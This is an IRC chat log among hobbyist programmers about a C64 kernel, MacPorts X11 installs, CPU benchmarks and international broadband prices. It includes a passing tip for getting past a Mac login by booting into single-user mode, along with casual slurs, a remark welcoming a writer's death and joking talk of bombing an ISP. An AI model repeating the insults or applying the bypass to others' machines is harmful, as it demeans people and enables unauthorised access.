bits uncopiable is like making water not wet. You're not doing it.) 18:17:06 I nevercopybitslu1 18:17:12 SHIT SHIT 18:17:15 *I nevrcopybitslu1 18:17:44 intelcua propty 18:17:45 I sense copied bits. 18:17:57 well i was not copying bytes can I get off with a slap on he wrist 18:20:00 *the 18:27:51 I have getc/putc already. What else do I need? 18:27:58 er 18:28:19 i have getc, putc/puts, hex2string, divmod (crappy), initalization. What do I need next for my C64 kernel? 18:29:58 greenity 18:31:10 fork 18:31:14 Generally speaking, a process scheduler is often a nice thing to have in an operating system. 18:31:22 Possibly also a fork. 18:31:40 ...Shouldn't i get file I/O first? 18:31:58 ... Filesystem? 18:32:23 I guess the order is up to you; most people certainly would appreciate a file system too, yes. 18:33:13 Well, the filesystem is Commodore default 18:33:39 also, forking needs a whole multitasking infrastructure 18:34:12 that's not much 18:34:22 yes it is 18:34:26 uh k 18:34:35 well 18:34:44 It's more than what DOS had. :p 18:34:55 I need to make the CIA programming code, the "state copier" code, and the "process selector" code 18:36:21 Anyway, with "file system" I was more talking about the kernel/user interface for accessing files than any on-disk formats or such. 18:36:44 well 18:36:50 i do need the kernel interface to access files 18:36:58 but yeah, I should get forking there first 18:37:17 Forking operating system! 18:37:21 Forking computer! Just work! 18:45:39 -!- oerjan has joined. 18:46:54 -!- jix has joined. 18:49:50 % sudo port install xorg 18:49:55 [giant lag as a slow tcl program calculates dependencies] 18:49:59 it's been going for ~5 minutes now 18:51:06 What's wrong with X11.app, then? 18:51:43 fizzie: This is the same Xquartz codebase, actually; it's just that MacPorts' matlab needs xorg-xextproto thing, and: 18:51:45 Requested 'x11 >= 1.1.99.1' but version of X11 is 1.1.5 18:51:59 and I looked for the new X11.app but it wants me to upgrade OS X to a newer minor release and I can't be bothered 18:52:13 ehird: What version of Tcl does that sucker run on? 18:52:15 so i'm installing via this, which hopefully won't say thus 18:52:28 % sudo port install xorg 18:52:29 ---> Fetching xorg-applewmproto 18:52:30 finally 18:52:32 pikhq: how do I check 18:52:40 LOL 18:52:49 as it tried to install xorg, the same error 18:52:49 There's a matlab in macports? 18:52:54 fizzie: er. 18:52:55 I meant maxima 18:52:59 Ah, right. 18:53:02 tclsh 18:53:08 pikhq: I get a %. 18:53:09 % info tclversion 18:53:11 ah 18:53:17 pikhq: 8.5 18:53:33 Hmm. I could've sworn 8.5 had a good bytecode compiler. 18:53:35 *shrug* 18:53:42 long_description\ 18:53:42 X11, or X, is a vendor-neutral, system-architecture neutral \ 18:53:44 network-transparent window system and user interface standard. \ 18:53:46 In other words, it is a GUI for UNIX. X can use your network -- \ 18:53:48 you may run CPU-intensive programs on high powered workstations \ 18:53:50 and display the user interface, the windows, on inexpensive \ 18:53:52 desktop machines. 18:53:54 80s fuck yeah 18:54:17 Hmm. 18:54:23 How can I obliterate AppleX11 from my system, one wonders. 18:54:42 It's a .app. 18:54:59 pikhq: I'm pretty sure the usual X11 files are shat in their usual place. 18:55:08 pikhq: Evidence: I have a /usr/X11. 18:55:11 Guess I'll obliterate that too. 18:55:12 ... *Really*? 18:55:17 That's vomit-worthy. 18:55:25 pikhq: Xorg's organizational system is vomit-worthy. 18:55:33 I mean, /usr/X11? C'mon, that's not very unix of you. 18:55:34 Indeed. 18:55:44 /opt/X11 is FHS, /usr is modern-unix-OS 18:55:55 Although Xorg uses /usr in recent versions, I think. 18:56:03 And also uses HAL instead of xorg.conf by default, so perhaps we're seeing some sanity. 18:56:12 I don't have a /usr/X11. 18:56:18 There you go then. 18:56:23 Do you have /usr/X11R6? 18:56:35 I do have an xorg.conf, but that's because my monitor needs a specific modeline that can't be autodetected. 18:56:47 I have an /usr/X11R6, but there's only a symlink "bin -> ../bin" in it. 18:56:55 (the thing came with freaking Windows drivers, because it's signalling was broken) 18:56:59 I don't have a /usr/X11R6. 18:57:07 *its 18:57:12 Which is good, considering I don't have X11R6 installed. 18:57:21 pikhq: can't you configure HAL for it? 18:57:48 Also, when I set up X, I didn't have HAL installed. 18:58:12 ah 19:00:03 % port installed|grep xorg|awk '{print $1}'|xargs sudo port uninstall 19:00:11 hmm, "% port installed|grep xorg|awk '{print $1}'|xargs sudo port uninstall xrender xpm " first actually 19:00:12 Heh, Debian's "x11-common" contains (in addition to the /usr/X11R6/bin -> ../bin symlink) also an /usr/bin/X11 which is a symlink to ".". I'm guessing compatibility-to-broken-programs related reasons. 19:00:15 oh, Xft2 as well, heh. 19:00:22 You know, I'm going to make flipbooks 19:00:23 oh no 19:02:02 Let's try this now then. 19:02:05 % sudo port install xorg 19:10:23 sloooooooooooow 19:10:26 pikhq: speed it up 19:13:13 ehird: i has a core i7 19:13:26 bsmntbombdood: yes. and you're ruining it with hyperthreading ;-) 19:14:00 latency not throughput 19:14:27 bsmntbombdood: "cache thrashing not not cache thrashing" 19:14:30 "hack not not hack' 19:14:34 s/'$/"/ 19:15:59 fungot: Do something cool! 19:16:00 asiekierka: when an nmi interrupt. the table that starts at 6. bit map are arranged in 25 rows of 40 columns, the 19:17:42 fungot: To be honest, that wasn't so cool. 19:17:42 fizzie: in other words, the 19:18:21 ehird: think i'm ruining performance on this ssd with encryption? 19:18:38 bsmntbombdood: encrypting an OS drive? 19:18:40 you're barmy :) 19:18:42 but, yes 19:18:49 that would most likely be bad 19:20:31 hmm, yes 19:20:50 echo 3 > /proc/sys/vm/drop_caches; dd if=data bs=1M count=2K of=/dev/null 19:20:54 2147483648 bytes (2.1 GB) copied, 18.8341 s, 114 MB/s 19:20:56 bsmntbombdood: but if you're not doing the lvm alignment you're already showing RECKLESS ABANDON for performance, so ;-) 19:21:07 also, sequential operations for the fail 19:21:13 most OS work = random read/writes 19:21:17 of small data 19:21:27 well, it's supposed to get 200mb/s sequential reads is what i'm saying 19:21:56 bsmntbombdood: if you disabled hyperthreading, SECURE ERASE'd that drive, and set up lvm2 with the alignment incantations, you could probably get away with it 19:22:00 ;;;;;;) 19:22:29 the alignment will only maybe help with writes 19:22:47 bsmntbombdood: yes, but writes are common 19:22:50 think about firefox 19:22:56 visit a page? 345734859345 gajillion small writes 19:24:12 i love how my disk is in ram 19:24:53 -!- ais523 has joined. 19:25:32 bsmntbombdood: btw, you are mounting /tmp as tmpfs right? 19:25:35 do that. 19:25:41 loadsa speed benefits, less ssd writs 19:25:42 writes 19:25:43 hi ais523 19:26:00 i'm not, but i will 19:26:20 * ehird twitches 19:26:42 p[7]=p[7]; 19:26:53 I somehow suspect I need to work on that optimiser a bit! 19:26:55 AnMaster: an extension of Ayn Rand's A=A? 19:27:16 ehird: Partly implemented copy propagation: 19:27:17 WHO IS JOHN GALT 19:27:18 -p[0]=p[7]; 19:27:18 -p[5]+=p[0]; 19:27:18 -p[7]=p[0]; 19:27:18 -p[0]=0; 19:27:18 +p[5]+=p[7]; 19:27:19 +p[7]=p[7]; 19:27:25 Slereah: JOHN GALT=JOHN GALT QED 19:27:39 needs to be cleaned up to remove that dead node 19:27:42 and hi ais523 btw 19:28:25 ^help 19:28:25 ^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool 19:28:30 why is sort(1)'s default buffer size 32 mb? 19:28:35 ^bool 19:28:35 No. 19:28:38 yuck 19:28:44 Hey, that's rude! 19:28:53 -!- ais523 has quit (Remote closed the connection). 19:28:59 ehird: tmpfs 4.0G 0 4.0G 0% /tmp happy now? 19:29:25 bsmntbombdood: do you still have hyperthreading enabled? >:) 19:29:40 yes 19:30:03 -!- ais523 has joined. 19:30:13 hi ais523 19:30:25 bsmntbombdood: then no :-P 19:30:29 [i'm just kidding around] 19:31:03 ehird: linux top is report cpu usage funny 19:31:09 percentages go over 100% 19:31:14 bsmntbombdood: that's cores 19:31:14 dun dudun 19:31:22 bsmntbombdood: it measures in erlangs 19:31:24 400% is max, or maybe 800% for hyperthreading 19:31:28 no 19:31:31 but still, IT'S OVER 100! 19:31:37 100% means full use of one core 19:31:44 so if you have dual-core, it can go up to 200% 19:31:55 one process can't 19:32:04 What if someone has 4 4-core PCs? 19:32:07 bsmntbombdood: threads, foo 19:32:08 i saw firefox go up to 250% 19:32:09 er 19:32:11 i mean 19:32:12 CPUs 19:32:13 Can it go to 1600%? 19:32:16 bsmntbombdood: two pthraeds can max out two cores 19:32:18 *pthreads 19:32:21 ehird: things that i know are singlethreaded went to 102% 19:32:34 bsmntbombdood: aha, I know why 19:32:38 and it can go higher still under certain setups, like quad-core processors 19:32:43 bsmntbombdood: the i7 transfers power from idle cores 19:32:48 ais523: bsmntbombdood has a quad-core 19:32:51 ah, ok 19:32:52 bsmntbombdood: to nonidle ones 19:32:59 bsmntbombdood: iirc something like 30% faster clockspeed sometimes 19:33:02 presumably it doesn't tell linux this 19:33:07 so it can exceed 100% of stock clock speed 19:33:33 i don't think so 19:33:41 bsmntbombdood: you think i'm wrong? 19:33:43 look it up 19:33:48 i know that it can do that 19:34:09 It's a bit confusing that the "%CPU" does that 100% == full use of a single core, but in the summary "Cpu(s): 3.8%us --" it's 100% == all processors in use. 19:35:05 and sometimes top says that top or xterm is using like 75%, which is weird 19:41:52 i can't believe how much ram i have 19:42:09 bsmntbombdood: you'd better; it made up a large chunk of the price :P 19:42:14 I can't believe it's not butter. 19:42:36 and btw, nv is shit 19:43:30 i couldn't even play a movie at anything but the original size 19:44:56 You can sort-of blame Nvidia for not releasing the hardware specs like ATI/AMD did. 19:45:39 whatever, the binary drivers work fine 19:46:11 That's probably the other reason people haven't been reverse-engineering nvidia stuff more. 19:46:26 bsmntbombdood: beats ati drivers at least 19:46:49 with these drivers i can play 1080p just fine 19:47:22 What sort of card was it again? 19:47:22 bsmntbombdood: how lowest-common-denominator. 19:47:30 fizzie: really old passive Nvidia from sparkl 19:47:30 e 19:47:39 ehird: couldn't even come close with nv 19:47:50 9400 isn't _that_ old 19:48:06 well, okay, not old 19:48:07 just shitty 19:48:08 AnMaster: an extension of Ayn Rand's A=A? <-- btw, what did you mean with that? 19:48:12 it does cuda 19:48:16 AnMaster: it's kind of complicated 19:48:30 bsmntbombdood: true. Anyway, you told me you had no gfx card requirements :P 19:48:34 ehird, short summary? 19:48:40 AnMaster: "Ayn Rand is a retard" 19:48:57 ehird, http://en.wikipedia.org/wiki/Ayn_Rand ? 19:49:00 yes 19:49:02 ok, was a retard. 19:49:14 I actually once tried to make a language based on A=A 19:49:15 she's dead now, which is a positive aspect. 19:49:20 Slereah: Objectivist C 19:49:50 ehird: i should have gotten a GTX 295 or something 19:50:05 Forgot the specs, but here's a program : http://membres.lycos.fr/bewulf/Russell/Fibo.jpg 19:50:12 bsmntbombdood: is my sarcasm-o-meter setting off correct? 19:51:08 ehird: depends on what reading it is giving you 19:51:20 bsmntbombdood: DING! Sarcasm! 19:51:20 The nvidia binary driver also added that VDPAU thing recently; it was long so that it supported only a bit of xvmc, and only for geforce series <=7. (The readme says G96, which is in 9400, does IDCT+motion-compensation on the card for MPEG1/2, H.264 and VC1 (WMV), and bitstream decoding only for h.264; G98 would do also the bitstream decoding part on the card for mpeg1/2 and wmv. 19:51:35 i wonder how capable this card is with cuda 19:52:19 ehird: maybe i should get an nvidia tesla though 19:52:53 bsmntbombdood: so was the reading correct 19:53:00 obviously 19:53:05 good 19:54:15 not about the tesla though 19:58:26 My passive gf7600gt card, with it's crummy G73 gpu and no VDPAU support in the nvidia drivers, can't do 1080p video in this rather-less-than-high-end system. :/ (Admittedly I don't think I have any 1080p media either.) 19:59:02 i downloaded a couple of clips to test 20:00:52 -!- upyr[emacs] has joined. 20:01:45 bsmntbombdood: Your card is somewhat shitty for 3D stuff, but should handle most any video you throw at it. 20:02:16 i don't think it's worth it to download a 15gb full movie though 20:02:23 instead of a 700mb one 20:03:04 What resolution is your monitor? 20:03:10 1280x800 20:03:51 only 1280*1024 20:04:07 Look for 720p videos. 20:04:20 That being the best that your monitor can display. 20:04:26 ja 20:04:36 And also, your graphics card is overkill for 720p video. 20:04:49 My Geforce 6300 does 720p video just fine. :p 20:04:55 This 1920x1200 would suit 1080p rather well, if I had a habit of watching any moving pictures. 20:05:05 20:03 bsmntbombdood: only 1280*1024 20:05:07 dude. 20:05:15 why are you using such a tiny monitor on such a powerful system :P 20:05:36 I'm going to agree with ehird on this one. 20:05:43 i know, i know 20:05:45 it's like wiring a cray up to a 14" CRT and playing a card game, a few decades ago 20:05:47 :P 20:05:49 I've got a 1400x900 monitor, and that's because I'm cheap. ;) 20:06:00 well, 14" crt isn't quite cray era 20:06:04 let's say a dumb greenscreen terminal 20:06:15 Let's say a teletype. 20:06:23 With paper and everything. 20:06:25 a teletype will suit a cray just fine... 20:06:41 Home computers of the era had better output. 20:06:43 hopefully you are not wasting your cray on rendering eye candy 20:06:47 Funny, according to wp "G86 and G98 [quite different from the G86 -- features VC-1 video decoding completely in hardware] cards are both sold as "8400 GS", the difference can only be told from technical specifications". It's like they *wanted* to confuse people. 20:07:12 bsmntbombdood: 'card game' being the operative word 20:07:46 Hmm... 20:07:48 Which Cray? 20:08:16 Cray-2, perhaps? 20:08:25 i can beat 100 crays 20:08:51 bsmntbombdood: How many gigaflops does your computer offer? 20:09:02 pikhq: fuck that, how many bogomips? 20:09:33 bogomips: 5879.85 20:09:37 from /proc/cpuinfo 20:09:45 I don't know how many bogomips the Cray offers. 20:09:48 That's a lot of bogons generated. 20:10:04 bsmntbombdood: that's not many at all 20:10:05 what can i get to benchmark floating point? 20:10:14 turn of hyperthreading, bitch :-) 20:10:33 My crappy Sempron offers 3215.44 bogomips. 20:10:38 *off 20:10:40 i think that is *4 20:10:51 bsmntbombdood: *8 because of STUPOTHREADING 20:11:12 I get only 2000 bogomips... though I think that number changes when the cpufreq machinery decides to go up from 1 GHz to whatever-the-normal-frequency-was. 20:12:18 Heh, yes. If I start a "while true; do X=y; done" loop in another terminal, the bogomips rating goes to 5628.88. (2.8 GHz seems to be the normal frequency of a X2-5600+.) 20:12:39 :-D 20:12:50 bogomips: 6290.04 20:12:59 Deewiant: what cpu? 20:13:00 what's with the caps there in the variable assignment? 20:13:03 and why that assignment at all? 20:13:05 ofc, this is very ghz-dependent 20:13:18 ehird: Q9550, overclocked to 3.something 20:13:32 ew, overclockers. /me steps away from Deewiant 20:13:35 dirty overclocker :| 20:13:35 ais523: I couldn't think of what a no-op would be. 20:13:36 i need to overclock this processor 20:13:37 (Default being 2.[89]something) 20:13:43 bsmntbombdood: et tu, brute‽‽‽‽‽‽‽‽ 20:13:51 ehird: Dirty? :-P 20:13:54 huh? 20:13:56 Deewiant: yes. 20:13:57 :-D 20:14:01 How so 20:14:07 fizzie: the null string usually works 20:14:18 although I'm not sure offhand if it would be do; done or do done 20:14:27 ais523: Well, "while true; do; done" gets bash: syntax error near unexpected token `;' 20:14:33 i have an allergy to "HARDKOR" gamers and the related ilk. which happens to encompass just about anyone who knows hardware without being able to program, and anyone under the discipline of such invented by and as. 20:14:43 And "while true; do done" => "bash: syntax error near unexpected token `done'" 20:14:45 if the sentence got ungrammatical later on it's because it ended up not being tuned to say what i was saying 20:14:50 so i gave up 20:14:53 fizzie: while true; do; done 20:14:54 ok 20:14:58 oh 20:14:59 ic 20:15:00 fizzie: Interestingly, that works in zsh. 20:15:07 indeed 20:15:08 Deewiant: Well, bash is... peculiar. 20:15:22 dash agrees with bash here. 20:15:29 dash? :-D 20:15:36 "while true; do; done" fails in dash too 20:15:38 Yes, dash. 20:15:41 i'm downloading serenity in 720p 20:15:42 grr, Deewiant beat me 20:15:42 you so funny 20:15:46 we'll see how this is 20:15:47 I have it installed, but it isn't my default shell 20:16:07 ~ $ while true; do; done 20:16:08 sh: syntax error: ";" unexpected 20:16:11 that's busybox sh 20:16:55 Based on a very cursory glance of the bash(1) man page "shell grammar" section, I can't really construct a "null command"y thing. 20:17:00 $ while true; do :; done 20:17:06 : is not a nop 20:17:07 : is the no-op command 20:17:11 well, it's true 20:17:11 it sets $? 20:17:21 I'd say all commands set $? 20:17:27 so it's correct for a nop to, too 20:17:39 that's like complaining that NOP in asm isn't a nop because it changes the IP 20:17:42 a nop is an uncommand! 20:17:59 there are actually two sorts of nop 20:18:07 which is something I'm thinking about a lot in Underlambda? 20:18:12 what's more noppish; true, or cat? 20:18:23 s/;/:/ 20:18:32 : is described as "No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned." so I guess it's a reasonably noppy thing. 20:18:36 20:18 ais523: which is something I'm thinking about a lot in Underlambda? 20:18:37 okay? 20:18:49 Okay, next time I need a do-nothing loop I'll certainly use :. 20:18:54 ais523: in a pipeline, nop is cat 20:18:58 yes 20:18:59 ais523: in a sequence of commands, nop is... nothing 20:19:02 whereas true would destroy data 20:19:02 since 20:19:05 foo; if [ $? 20:19:05 vs 20:19:07 foo; :; if [ $? 20:19:18 it's the difference between 0 and 1 in Underlambda 20:19:19 so, the only thing you can REALLY call a nop in shell is the pipeline nop - cat 20:19:24 0 is !() 20:19:27 as in, it destroys data 20:19:29 cat :: String -> String; cat = id 20:19:30 1 is the null string 20:19:31 ↑ shellskle 20:19:35 because it leaves everything the same 20:19:36 (|>) = flip (.) 20:20:21 cat = id 20:20:22 tac = unlines . reverse . lines 20:20:40 yay, x11 installed 20:22:13 sudo port install maxima 20:22:16 :) 20:22:18 -!- jix has quit (No route to host). 20:23:44 -!- asiekierka has quit. 20:25:00 ehird: why wasn't x11 installed before? 20:25:05 new computer? 20:25:07 os x 20:25:15 I thought you'd installed it earlier, though 20:25:16 and I removed the x11 i had 20:25:18 ah 20:25:21 'cuz dependency issues 20:25:25 so i installed it via macports 20:26:04 ... and I possibly don't even need x11 for this 20:26:05 ha. 20:26:27 * ehird installs gnuplot +no_x11 +wxwidgets; installs tk +quartz; installs maxima 20:26:36 which will also install sbcl, despite me having my own sbcl 20:27:00 How sbecial for you. 20:27:27 groan 20:27:43 maxima doesn't need x 20:28:16 bsmntbombdood: it depends on gnuplot and tk 20:28:24 for the UI, I assume; it may not be mandatory, but I want it. 20:29:47 maxima has a cli 20:30:07 Yes. 20:30:09 I know. 20:30:15 But I want plots and shit too, mmkay? 20:30:45 -!- kar8nga has joined. 20:33:49 need moar bandwidth 20:34:15 bsmntbombdood: 56k? 20:34:23 almost 20:34:32 bsmntbombdood: why did you buy an expensive i7 pc 20:34:59 ...?? 20:35:09 I plug my CPU directly into the intarwebs. 20:35:30 bsmntbombdood: tiny monitor ... shitty internet... :P 20:35:45 i'm confused at where you see the connection 20:35:55 it just seems a bit ridiculous 20:37:42 bsmntbombdood uses it to calculate the trajectory of micromissiles to kill anyone who makes fun of his monitor and/or internet connection. 20:37:53 exactly 20:38:12 Shiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii 20:40:18 bsmntbombdood: I strongly suggest that you invest in bandwidth and a better monitor. 20:40:35 i will probably get a better monitor, the bandwidth is more difficult though 20:40:47 The best investment for the former, of course, is moving to Japan, but moving to any first-world nation other than the US is also a viable option. 20:40:48 i live where the options are limited 20:40:54 bsmntbombdood's options are limited after he bombed Comcast's basement. 20:41:19 bsmntbombdood: Dude, you didn't ask anyone to help you bomb Comcast? 20:41:24 How very selfish of you! 20:41:27 ;) 20:41:36 (Just their basement) 20:41:45 bsmntbombdood works alone 20:41:59 pikhq: sth korea has better bandwidth iirc 20:42:07 well speed 20:42:41 Japan has 100 Mbps for $20 a month. 20:42:42 japan and south korea are both places where i do not want to go 20:43:16 bsmntbombdood: Might I suggest somewhere more... Euro? 20:43:33 the nordic countries sound nice 20:43:43 Indeed, they do. 20:43:47 avoid sweden, anmaster's there 20:44:05 Norway's got Oerjan, though. 20:44:08 Yes. 20:44:13 Go for Norway or Finland. 20:44:23 Such as Moldova, or Ukraine. 20:44:25 Finland are more net-wise, iirc, and they invented IRC, and fizzie & oklopol & Deewiant 20:44:27 & other people. 20:44:32 Finland has (110 Mbps down, 5 Mbps up) for $73.99/month (blame the $ exchange rate) if you don't mind the cable-modem technologistics. 20:44:38 Norway has fjords and oerjan. 20:44:38 Yes, the Finns invented fizzie. 20:44:49 fizzie: What, all of them 20:44:49 ? 20:44:53 That's some orgy 20:45:11 i would pay $73.99 for 110 Mbps in a heartbeat 20:45:11 ehird: That's just how Finns breed. 20:45:14 the 5 up sucks though 20:45:17 Sweden has nice Internet unless you are far out in the country. 20:45:24 country side* 20:45:25 fizzie: Where I'm at, I can get 1 Mbps down, 256k up for $69.99 a month. 20:45:27 bsmntbombdood: 5 up isn't all that bad... 20:45:29 s/in/on/ 20:45:44 unfortunately we can't get cable here 20:45:54 moving to finland sounds nice 20:46:00 With careful picking of where to live, I guess you can get reasonable prices for "100 Mbps both ways" here too; but it's not very widely available yet. 20:46:03 um 20:46:04 the language 20:46:15 fizzie: 100 Mbps *both ways*? 20:46:19 pikhq: Uphill! 20:46:25 And downhill. Uh, both ways. 20:46:26 Uphill both ways, yes. 20:46:31 haha 20:46:35 -!- Sgeo has joined. 20:46:46 Dammit, why must *all* of your infrastructure be better than ours? 20:46:59 hm? 20:47:04 fizzie: how cold is finland? 20:47:47 Sgeo: US. Dealing with infrastructure that was last touched when my grandmother was a child. 20:48:04 Internet-over-phone is ridiculously stupid. 20:48:29 I know at least one person still on dialup :/ 20:48:31 fizzie: so yeah, coldity? 20:48:34 Well, not in person 20:48:38 I guess fibre/ethernet-based 100MBps-up-and-down is still only in some random places, though. Personally I'm paying something like $70/month for puny 24 Mbps down, 1 Mbps up. (I happened to pick an expensive ISP, since they do the whole static-IP, custom-reverse-DNS, native-IPv6, tech-support-that-knows-what-they're-doing thing.) 20:48:55 ehird: It's about +10 degrees celsius here now. 20:49:01 I want phone-over-Internet, TV-over-Internet, etc.-over-Internet. 20:49:01 a dictionary of dictionaries of sets. Is it time to try to work out a better data representation yet? 20:49:06 fizzie: 24 Mbps? Puny? 20:49:07 fizzie: what isp was that again? 20:49:13 The US got the infrastructure early, so as a result it has the oldest infrastructure. It's really quite simple. 20:49:16 pikhq: eh, you can get that in London 20:49:17 That's absurdly good for the US. 20:49:29 pikhq, NEWS NEWS 20:49:34 pikhq, Finland != US 20:49:39 AnMaster: ... and? 20:49:44 He was commenting on "puny'. 20:49:44 That's absurdly good for the US. 20:49:45 well 20:49:46 *" 20:49:49 that is because it isn't the US! 20:49:50 Don't make yourself look like a jackass... 20:49:50 ehird: Nebula; nbl.fi or something. Here in the southernmost points it's rather rarely below -10 degrees in the winter, though occasionally it happens. 20:50:01 lol -10 degrees 20:50:09 AnMaster: ... And I've been talking about how the US has crappy infrastructure. 20:50:11 fizzie: going out in anything below 10 degrees makes me feel like death 20:50:18 mhm 20:50:28 hmm 20:50:29 ehird, you need thicker clothes then 20:50:30 ok, maybe not 20:50:30 By "crappy", I mean "Ethiopia is set to surpass us in 10 years." 20:50:36 it's 9 centigrade today apparently 20:50:36 -!- MizardX has quit ("reboot"). 20:50:40 and I can handle that just fine 20:50:48 This year we had sub-zero temperatures at night-time as recently as... some two-and-a-half weeks ago? 20:50:49 so -10 i could probably manage at worst. 20:50:57 night-time doesn't bother me 20:51:12 fizzie, about same here iirc 20:51:13 fizzie: do you think these uphill-both-ways isp do the ipv6 stuffs too? 20:51:24 i mean, it's not like moving to finland is possible or feasible, but IN MY MIND it could be 20:51:29 i could move my mind to finland 20:51:32 and keep my body here 20:51:48 ehird, remember you will have to learn Finnish when moving there! 20:51:52 I could learn Finnish. 20:52:03 it looks awfully complex. 20:52:07 ehird: Unfortunately, the mind-Finland uplink is over 56k. 20:52:11 AnMaster: I've tried learning languages before and failing, but I could probably get by to start with using basic vernacular... 20:52:18 pikhq: i recall reading that somalia has pretty kickass cell phone network 20:52:18 GregorR-L: AIEEEEEEEEEEEE 20:52:23 GregorR-L, the what 20:52:37 oh 20:52:42 because there was no state to regulate it 20:52:44 ehird: I don't think they do. I'm not quite sure where they are available, to be honest. Can't find any availability maps. 20:52:46 We're speaking one of the most commonly spoken languages right now. :) 20:53:06 oerjan: That's the first time I've heard of a lack of regulation creating competition. 20:53:07 pikhq, English yes. 20:53:07 fizzie: hmm... what about the 100mbps both ways, it'd be supernice to have fast internet + ipv6 + reverse dns 20:53:18 Most *complex*. 20:53:25 * pikhq has been dropping words lately today. :( 20:53:29 -!- tombom has joined. 20:53:40 ehird: Well, the student housing at our university has that. :p 20:53:52 fizzie: that's a rather unhelpful option :P 20:53:55 err 20:53:57 what about the 100mbps one way 20:53:59 fizzie: ... Your university gets 100mbps? 20:54:00 pikhq, I'm not sure that is true actually. 20:54:03 is what i meant to say lately 20:54:12 I don't think mine has that on our *LAN*. 20:54:14 (i don't really talk much outside anyway, so finnish probably wouldn't be a problem for a good amount of time) 20:54:18 pikhq, French is harder, trust me. I took French in school some years ago. 20:54:21 pikhq: Yes, well... I think it's a shared 1 Gbps uplink to the interwebs, though. 20:54:29 forgot most of it by now 20:54:39 french is hard? 20:54:41 pikhq: Or maybe they updated that to 10 Gbps already. I'm not quite sure. 20:54:59 * pikhq is jealous either way 20:55:04 ehird, all those verb forms. 20:55:22 sure English has that too, but not to the same degree. 20:55:44 lol— someone said that a password-removing thingy for linux/windows didn't work on OS X 20:55:49 Power button Command-S 'nuff said. 20:55:53 pikhq: Yes, the student housing network people upgraded the main Funet (Finnish university network thing, through which their internet goes) link to 10-gigabit-Ethernet on April 2nd. 20:55:55 and except for "be", a simple rule for I/you/he/she/it/we/you/they 20:55:56 -!- MizardX has joined. 20:55:59 EFI-level backdoors FTW... 20:56:19 ehird, command-S? 20:56:23 what does that one do 20:56:28 oh 20:56:29 AnMaster: boots into single-user mode 20:56:32 right 20:56:34 that one 20:56:38 ehird, you can set EFI password 20:56:40 iirc 20:56:51 AnMaster: yeaah but i doubt this retard has 20:56:55 that is needed for all non-normal boots 20:57:01 AnMaster: you can encrypt your HD too 20:57:01 ehird: Oh, and the 110Mbps-down-5Mbps-up cable-TV-company/ISP is Welho, which is rather in the clueless group of ISPs, so I really don't think they do any IPv6 stuff or anything. 20:57:08 so there's easy ways to prevent it; just not common ones 20:57:21 fizzie: shit sucks. 20:57:24 ehird, you can under OS X? 20:57:26 kay 20:57:33 AnMaster: yes, it comes with truecrypt built in 20:57:35 and a UI to use it 20:57:43 fizzie: Most cities in the US are doing well to get 5Mbps down. 20:57:44 Most of the ISPs here have some silly "you are forbidden to run any server applications in your pipe" things in their contracts, and the general level of service for home customers seems to be "you get 5 IPs over DHCP and that's it". 20:57:47 ehird, 10.4 too? 20:57:57 I remember seeing some "encrypt home dir" 20:57:58 AnMaster: yes. Although, caution in that truecrypt, while open source, is shady. 20:58:03 We've got monopolies everywhere. 20:58:03 Glee. 20:58:04 but no full encryption 20:58:09 ehird, and I know 20:58:09 The mods delete questions about the changelogs etc on their forums 20:58:13 and they just release source tarball 20:58:14 s 20:58:15 AnMaster: yeah 20:58:17 but, it has it built in. 20:58:31 Well, except for dialup providers. Those still compete with each other. 20:58:33 ehird, does it let you encrypt the system dir :D 20:58:35 pikhq: I think the 24 Mbps down (well, theoretical; I get ~19 Mbps here) ADSL2+ thing is pretty widely available here, though personally I only know about the situation around the capital city here. 20:58:38 I think so, AnMaster. 20:58:45 ehird, how do you boot then 20:58:55 AnMaster: Well, presumably it'd leave the bootloader unencrypted. 20:58:58 ehird, and have you ordered that linux PC yet btw :) 20:59:02 and no, not yet 20:59:07 kay 20:59:09 I need to assemble a bag of parts, make sure the psu is fine, etc 20:59:13 so it'll be a lil bit 20:59:20 fizzie: And you guys even get actual bandwidth close to what's advertised? 20:59:26 That's even more impressive. 20:59:32 ehird, and your befunge interpreter, how is it coming along :) 20:59:40 AnMaster: I think I will stab you with a stick. 20:59:52 why 20:59:56 I expect next you'll be telling me that your cable service doesn't recompress HD streams to the point that they're unwatchable? 21:00:01 For asking that :) 21:00:25 pikhq: let's move to Finland; we can pool our resources to pay for residence and kick-ass internet 21:00:44 pikhq, um, Why do you use cable instead of your own antenna. 21:00:52 AnMaster: ... 21:00:53 ehird: We'll probably be better able to pay for university, too. 21:00:55 ....... 21:00:59 pikhq: I measured my connection last weekend and it indeed managed something like 107/4.8 Mib/s 21:01:00 ehird, yes? 21:01:01 AnMaster: Do you... are you... 21:01:05 Do you even know what... 21:01:07 AnMaster: Because that gets us 2 stations. 21:01:09 Good god. 21:01:11 ehird, free standing house. 21:01:11 You're an idiot. 21:01:19 ehird, no cable network 21:01:20 AnMaster: cable channels are not the same as analogue channels 21:01:29 also, analogue is terrible quality 21:01:37 ehird, there are no analogue channels in Sweden. They are digital, over antenna 21:01:41 yes strange, but a fact 21:01:50 err. what 21:01:56 some kind of political motivation for switching to that. 21:02:02 ehird: Nearly 3/4ths of our analog broadcasters were shut down. 21:02:10 happened in 2007 iirc 21:02:11 pikhq: there are only 5 analogue channels in the uk 21:02:12 As of June, all OTA signals in the US will be digital. 21:02:27 and digital = non-antenna in the UK 21:02:34 I don't know about this digital-antenna shit but we have none of it 21:02:37 Oh, the UK. The *other* country with third-world infrastructure. 21:02:43 ehird, why do you call it "shit" 21:02:56 Though I thought you guys had nearly 75% coverage with Freeview? 21:02:57 AnMaster: shit does not mean rubbish 21:02:58 it means "stuff" 21:03:03 unless it means rubbish 21:03:05 in which case it means rubbish 21:03:11 understand me? 21:03:11 ehird, or excrement 21:03:19 that is the literal meaning 21:03:22 :P 21:03:32 ehird: At least you've got OTA stations worth watching. 21:03:33 pikhq: Yes, and "freesat from sky", which has a marginally better channel choice, so we use it. We also have Sky, but $$$ and the channels are shit. 21:03:36 Also bbc's HD freesat. 21:03:44 pikhq: you sure about that? 21:03:48 ehird, but no I can't say I'm able to detect the difference between shit::stuff() and shit::rubbish() 21:03:50 channel 4 and some stuff on five, maybe 21:03:54 and a few bbc documentaries 21:03:59 Which is more than we have. 21:04:00 but most of BBC 1 stuff, and all of ITV, is rubbish 21:04:02 err, sorry, wrong type description language 21:04:08 You know the 